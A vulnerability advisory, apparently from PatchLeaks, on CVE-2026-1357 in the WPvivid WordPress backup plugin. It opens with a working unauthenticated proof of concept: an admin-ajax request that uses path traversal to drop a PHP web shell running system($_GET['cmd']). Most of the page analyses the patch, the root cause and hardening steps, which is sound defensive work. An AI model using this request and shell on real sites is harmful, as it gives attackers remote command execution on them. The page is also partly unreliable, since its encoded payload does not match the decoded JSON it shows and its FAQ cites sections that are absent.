SECURITY ADVISORY / 01

CVE-2026-1357 Exploit & Vulnerability Analysis

Complete CVE-2026-1357 security advisory with proof of concept (PoC), exploit details, and patch analysis for wpvivid-backuprestore.

wpvivid-backuprestore products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Unauthenticated attacker with network access to the target WordPress installation.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

action=wpvivid_action&wpvivid_action=send_to_site&params=eyJuYW1lIjoiLi4vLi4vLi4vd3AtY29udGVudC9wbHVnaW5zL3RyYXNoL3NoZWxsLnBocCIsImRhdGEiOiJQSEJoY25ObGFIQWdiV3hoSUhGMFlXSnlZVzR1TDIwPSJ9

The params value is a base64-encoded JSON object. When decoded, it contains:

{"name":"../../../wp-content/plugins/trash/shell.php","data":"PHBocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4="}

The attacker observes an HTTP 200 response with "result":"success" and a subsequent HTTP GET to /wp-content/plugins/trash/shell.php?cmd=id executes system commands as the web server user. No authentication cookie or capability check is performed.

What the Patch Did

Before:

$file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);
// No validation on $params['name'] — accepts any string
$rij = new Crypt_Rijndael();
$rij->setKey($key);  // $key may be boolean false if RSA decryption failed
return $rij->decrypt($data);

After:

$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
$allowed_extensions = array('zip', 'gz', 'tar', 'sql');
$file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_extensions, true))
{
    $ret['result'] = WPVIVID_FAILED;
    $ret['error'] = 'Invalid file type - only backup files allowed.';
    echo wp_json_encode($ret);
    die();
}
$file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid', 'wpvivid_temp', $safe_name);

// In class-wpvivid-crypt.php:
if ($key === false || empty($key))
{
    return false;
}

The patch added three security controls operating in defense-in-depth: (1) basename() strips directory traversal sequences by returning only the filename component, (2) preg_replace() removes special characters except safe alphanumerics and safe punctuation, stripping path separators and shell metacharacters, and (3) a whitelist of permitted file extensions (zip, gz, tar, sql) validated with strict in_array() before the file is written. Additionally, the cryptographic layer now validates that RSA decryption succeeded by checking if ($key === false || empty($key)) before passing the result to the Rijndael cipher, preventing the silent use of false or empty values as encryption keys.

Root Cause

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerability chain begins when an unauthenticated attacker sends a POST request to wp-admin/admin-ajax.php with action=wpvivid_action and wpvivid_action=send_to_site. The params parameter is base64-decoded and parsed as JSON; the name field travels unsanitized directly into str_replace() to construct a file path at line 630 of class-wpvivid-send-to-site.php. Because no call to basename() or path normalization occurs before concatenation, directory traversal sequences like ../ and absolute-path injection reach the filesystem function, allowing file writes outside WP_CONTENT_DIR. Simultaneously, no file extension whitelist exists; the plugin accepts any extension, enabling upload of executable PHP files to web-accessible directories. CWE-391 (Unchecked Error Condition) in class-wpvivid-crypt.php compounds the issue: when RSA decryption fails (returning false), the code passes false to Crypt_Rijndael::setKey(), which treats it as a null-byte string, converting a cryptographic failure into a predictable, weak encryption state that an attacker can brute-force or bypass entirely.

Why It Works

The load-bearing line is $safe_name = basename($params['name']);. Without it, all downstream validation can be circumvented by using absolute paths or carefully nested relative paths that bypass regex filters. basename() forcibly returns only the filename component, making it impossible to encode directory traversal in the name itself. The subsequent preg_replace() removes special characters that could encode traversal in alternative forms (null bytes, unicode sequences). The extension whitelist is not strictly necessary if basename() and preg_replace() are in place, but it provides defense-in-depth by preventing an attacker from exploiting edge cases in path handling (e.g., case-sensitivity issues on some filesystems, or collisions with backup file headers that could be interpreted as PHP). The cryptographic validation (if ($key === false || empty($key)) return false;) prevents silent fallback to a weak cipher state; without it, an attacker who cannot forge a valid RSA ciphertext can still send garbage, trigger decryption failure, and encrypt their payload using the all-zeros key derived from false. The engineer added multiple layers because each layer is independently bypassable; together, they enforce the principle that only legitimate backup files (with whitelisted extensions, basename-only filenames, no special characters) can be written, and only when cryptographic operations succeed.

Hardening Checklist

  • Use basename() before any filesystem operation on user-supplied filenames. Never concatenate user input directly into file_get_contents(), fopen(), or fwrite() paths without first calling basename() to strip directory components. This is a generic best practice independent of WordPress; it prevents CWE-22 at the root.

  • Implement a strict whitelist of allowed file extensions. Use pathinfo($filename, PATHINFO_EXTENSION) to extract the extension, convert it to lowercase for case-insensitive comparison, and validate against a hardcoded array with in_array(..., true) using strict type checking. Never use blacklists (denying dangerous extensions); whitelist only the formats your application legitimately processes.

  • Validate all cryptographic operation return values before use. In PHP, openssl_private_decrypt(), openssl_public_encrypt(), and hash functions can return false on failure. Always check if ($result === false) and terminate execution or throw an exception before passing the result to downstream crypto functions. Never allow boolean false to propagate as a key or IV into a cipher.

  • Use preg_replace() with a negative character class to strip special characters from filenames. After basename(), apply preg_replace('/[^a-zA-Z0-9._-]/', '', $filename) to remove metacharacters, path separators, and shell operators. This hardens against edge-case bypasses and second-order traversal attacks.

  • Apply wp_verify_nonce() to all admin-ajax handlers, even those that perform file operations. Although this vulnerability is unauthenticated, pairing capability checks with nonce validation raises the bar for CSRF and replay attacks. For backup restoration endpoints specifically, require current_user_can('manage_options') and validate a nonce generated in a plugin settings page.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-1357

Frequently asked questions about CVE-2026-1357

What is CVE-2026-1357?

CVE-2026-1357 is a security vulnerability identified in wpvivid-backuprestore. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-1357?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-1357. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-1357 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting wpvivid-backuprestore. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-1357?

CVE-2026-1357 affects wpvivid-backuprestore. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-1357?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for wpvivid-backuprestore.

What is the CVSS score for CVE-2026-1357?

The severity rating and CVSS scoring for CVE-2026-1357 affecting wpvivid-backuprestore is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.